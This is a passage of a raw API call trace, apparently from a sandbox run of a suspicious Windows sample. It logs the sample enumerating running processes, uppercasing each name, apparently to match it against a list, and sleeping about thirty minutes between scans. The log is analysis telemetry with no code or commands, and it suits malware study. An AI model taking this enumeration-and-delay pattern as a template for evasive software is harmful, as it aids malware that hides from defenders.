returned="PACIFIC.EXE" [0181.247] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0181.248] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0181.248] lstrlenW (lpString="phantom.exe") returned 11 [0181.248] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0181.248] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0181.248] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0181.248] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0181.249] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0181.249] lstrlenW (lpString="audiodg.exe") returned 11 [0181.249] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0181.249] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0181.249] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0181.249] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0181.249] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0181.250] lstrlenW (lpString="SCN0tification.exe") returned 18 [0181.250] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0181.250] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0181.250] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0181.250] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.250] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0181.250] lstrlenW (lpString="svchost.exe") returned 11 [0181.250] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0181.250] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.250] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0181.250] Process32NextW (in: hSnapshot=0x660, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0181.251] CloseHandle (hObject=0x660) returned 1 [0181.251] Sleep (dwMilliseconds=0x1b7740) [0191.318] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x350 [0191.320] Process32FirstW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.321] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0191.321] lstrlenW (lpString="[System Process]") returned 16 [0191.321] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0191.321] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0191.321] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0191.321] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x61, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0191.322] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0191.322] lstrlenW (lpString="System") returned 6 [0191.322] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0191.322] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0191.322] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0191.322] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0191.322] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0191.322] lstrlenW (lpString="smss.exe") returned 8 [0191.322] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0191.322] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0191.322] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0191.322] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.323] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0191.323] lstrlenW (lpString="csrss.exe") returned 9 [0191.323] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0191.323] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0191.323] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0191.323] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0191.324] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0191.324] lstrlenW (lpString="wininit.exe") returned 11 [0191.324] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0191.324] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0191.324] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0191.324] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0191.324] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0191.324] lstrlenW (lpString="csrss.exe") returned 9 [0191.324] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0191.324] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0191.325] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0191.325] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0191.325] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0191.325] lstrlenW (lpString="winlogon.exe") returned 12 [0191.325] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0191.325] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0191.325] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0191.325] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0191.326] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0191.326] lstrlenW (lpString="services.exe") returned 12 [0191.326] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0191.326] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0191.326] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0191.326] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0191.327] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0191.327] lstrlenW (lpString="lsass.exe") returned 9 [0191.327] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0191.327] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0191.327] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0191.327] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.327] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.327] lstrlenW (lpString="svchost.exe") returned 11 [0191.327] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.327] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.327] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.327] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.328] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.328] lstrlenW (lpString="svchost.exe") returned 11 [0191.328] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.328] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.328] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.328] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0191.329] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0191.329] lstrlenW (lpString="dwm.exe") returned 7 [0191.329] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0191.329] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0191.329] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0191.329] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.330] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.330] lstrlenW (lpString="svchost.exe") returned 11 [0191.330] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.330] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.330] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.330] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.330] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.330] lstrlenW (lpString="svchost.exe") returned 11 [0191.330] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.330] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.330] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.330] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.331] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.331] lstrlenW (lpString="svchost.exe") returned 11 [0191.331] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.331] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.331] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.331] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.332] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.332] lstrlenW (lpString="svchost.exe") returned 11 [0191.332] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.332] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.332] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.332] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.332] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.333] lstrlenW (lpString="svchost.exe") returned 11 [0191.333] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.333] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.333] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.333] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.333] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.333] lstrlenW (lpString="svchost.exe") returned 11 [0191.333] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.333] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.333] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.333] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0191.334] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0191.334] lstrlenW (lpString="spoolsv.exe") returned 11 [0191.334] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0191.334] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0191.334] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0191.334] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.335] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.335] lstrlenW (lpString="svchost.exe") returned 11 [0191.335] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.335] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.335] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.335] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0191.335] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0191.335] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0191.335] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0191.335] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0191.336] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0191.336] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0191.336] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0191.336] lstrlenW (lpString="svchost.exe") returned 11 [0191.336] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0191.336] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.336] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0191.336] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0191.337] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0191.337] lstrlenW (lpString="sihost.exe") returned 10 [0191.337] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0191.337] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0191.337] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0191.337] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0191.338] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0191.338] lstrlenW (lpString="taskhostw.exe") returned 13 [0191.338] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0191.338] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0191.338] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0191.338] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0191.338] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0191.338] lstrlenW (lpString="explorer.exe") returned 12 [0191.338] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0191.338] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0191.338] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0191.338] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0191.339] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0191.339] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0191.339] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0191.339] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0191.339] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0191.339] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0191.340] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0191.340] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0191.340] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0191.340] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0191.340] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0191.340] Process32NextW (in: hSnapshot=0x350, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, 